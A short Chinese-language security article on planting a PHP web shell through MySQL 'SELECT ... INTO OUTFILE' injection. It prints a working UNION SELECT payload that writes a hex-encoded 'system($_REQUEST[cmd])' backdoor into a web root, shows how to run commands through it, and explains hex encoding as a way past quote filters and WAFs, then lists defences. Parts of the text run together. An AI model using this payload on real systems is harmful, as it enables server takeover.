MySQL 作為廣泛部署的開源資料庫,若配置不當極易成為攻擊跳板。本文深入剖析一種經典的「SELECT ... INTO OUTFILE」注入技術,展示駭客如何透過 SQL 語句在 Web 目錄植入 PHP 後門,進而獲取系統命令執行權限。理解攻擊原理,才能建立有效防禦。
核心攻擊語句如下:
SELECT * FROM `vbb_strikes` WHERE 1
UNION SELECT 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 解碼後為 <?php system($_REQUEST[cmd]);?>cmd.phphttps://target.com/cmd.php?cmd=whoami 執行系統命令繞過單引號過濾、WAF 規則及字符集轉換問題。不同 MySQL 版本對特殊字符處理差異大,十六進制確保 payload 在傳輸與存儲過程中保持原貌。可使用 UltraEdit 等工具將任意代碼轉為十六進制字符串。
secure_file_priv 限制導出目錄,或啟用 --local-infile=0此技術雖屬經典,但原理通用於所有支援 SELECT ... INTO OUTFILE 的 MySQL/MariaDB 版本。防禦核心在於「權限收斂」與「輸入參數化」,而非單純過濾特定 payload。定期滲透測試與代碼審計,方能將風險消滅於萌芽狀態。